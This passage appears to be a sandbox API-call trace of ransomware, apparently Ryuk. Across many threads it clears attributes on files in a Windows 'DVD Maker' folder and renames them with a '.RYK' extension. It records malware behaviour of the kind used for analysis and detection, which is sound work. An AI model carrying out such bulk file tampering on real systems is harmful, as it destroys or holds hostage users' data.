	[0223.829] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.829] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax.RYK" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 637
	os_tid = 0x11d0

	[0179.581] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\bod_r.TTF", dwFileAttributes=0x80) returned 0
	[0180.072] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\bod_r.TTF" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.318] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.318] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\bod_r.TTF" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf"), lpNewFileName="C:\\Program Files\\DVD Maker\\bod_r.TTF.RYK" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 638
	os_tid = 0x11d4

	[0179.583] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\directshowtap.ax", dwFileAttributes=0x80) returned 0
	[0180.073] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.073] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.073] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\directshowtap.ax.RYK" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 639
	os_tid = 0x11d8

	[0180.075] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Eurosti.TTF", dwFileAttributes=0x80) returned 0
	[0180.076] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.076] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.076] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf"), lpNewFileName="C:\\Program Files\\DVD Maker\\Eurosti.TTF.RYK" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 643
	os_tid = 0x11f0

	[0180.078] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax", dwFileAttributes=0x80) returned 0
	[0180.613] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.838] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.838] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax.RYK" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 644
	os_tid = 0x11f4

	[0180.079] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\offset.ax", dwFileAttributes=0x80) returned 0
	[0180.080] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.081] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.081] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\offset.ax.RYK" (normalized: "c:\\program files\\dvd maker\\offset.ax.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 645
	os_tid = 0x11f8

	[0180.084] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsink.ax", dwFileAttributes=0x80) returned 0
	[0180.614] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.045] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.046] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\rtstreamsink.ax.RYK" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 646
	os_tid = 0x11fc

	[0180.085] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsource.ax", dwFileAttributes=0x80) returned 0
	[0180.614] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.662] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.911] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\rtstreamsource.ax.RYK" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 647
	os_tid = 0x1200

	[0180.087] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\SecretST.TTF", dwFileAttributes=0x80) returned 0
	[0180.087] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\SecretST.TTF" (normalized: "c:\\program files\\dvd maker\\secretst.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.087] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.087] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\SecretST.TTF" (normalized: "c:\\program files\\dvd maker\\secretst.ttf"), lpNewFileName="C:\\Program Files\\DVD Maker\\SecretST.TTF.RYK" (normalized: "c:\\program files\\dvd maker\\secretst.ttf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 669
	os_tid = 0x12a0

	[0224.318] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh", dwFileAttributes=0x80) returned 0
	[0224.319] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.319] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.319] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 670
	os_tid = 0x12a8

	[0224.519] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png", dwFileAttributes=0x80) returned 0
	[0224.520] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.520] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.520] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 671
	os_tid = 0x12ac

	[0224.549] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png", dwFileAttributes=0x80) returned 0
	[0224.549] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.549] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 672
	os_tid = 0x12b0

	[0224.551] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png", dwFileAttributes=0x80) returned 0
	[0224.551] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.551] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.551] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 673
	os_tid = 0x12b4

	[0224.552] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0224.552] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.552] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.553] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 674
	os_tid = 0x12b8

	[0224.555] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png", dwFileAttributes=0x80) returned 0
	[0224.555] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.555] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.555] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 675
	os_tid = 0x12bc

	[0224.556] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png", dwFileAttributes=0x80) returned 0
	[0224.557] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.557] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.557] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 676
	os_tid = 0x12c0

	[0224.558] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0224.558] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.558] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.559] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 677
	os_tid = 0x12c4

	[0224.560] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png", dwFileAttributes=0x80) returned 0
	[0224.560] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.560] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.560] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 678
	os_tid = 0x12c8

	[0224.561] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png", dwFileAttributes=0x80) returned 0
	[0224.561] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.561] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.562] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 679
	os_tid = 0x12cc

	[0224.765] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv", dwFileAttributes=0x80) returned 0
	[0224.766] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.766] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.766] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 680
	os_tid = 0x12d0

	[0224.770] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0224.771] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.771] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.771] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 681
	os_tid = 0x12d4

	[0224.772] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv", dwFileAttributes=0x80) returned 0
	[0224.772] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.773] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.773] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 682
	os_tid = 0x12d8

	[0224.774] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0224.774] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.775] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.775] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 683
	os_tid = 0x12dc

	[0224.776] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv", dwFileAttributes=0x80) returned 0
	[0224.776] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.776] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.777] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 684
	os_tid = 0x12e0

	[0224.778] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0224.778] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.778] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.778] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 685
	os_tid = 0x12e4

	[0224.780] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv", dwFileAttributes=0x80) returned 0
	[0224.780] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.780] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.780] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 686
	os_tid = 0x12e8

	[0224.783] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv", dwFileAttributes=0x80) returned 0
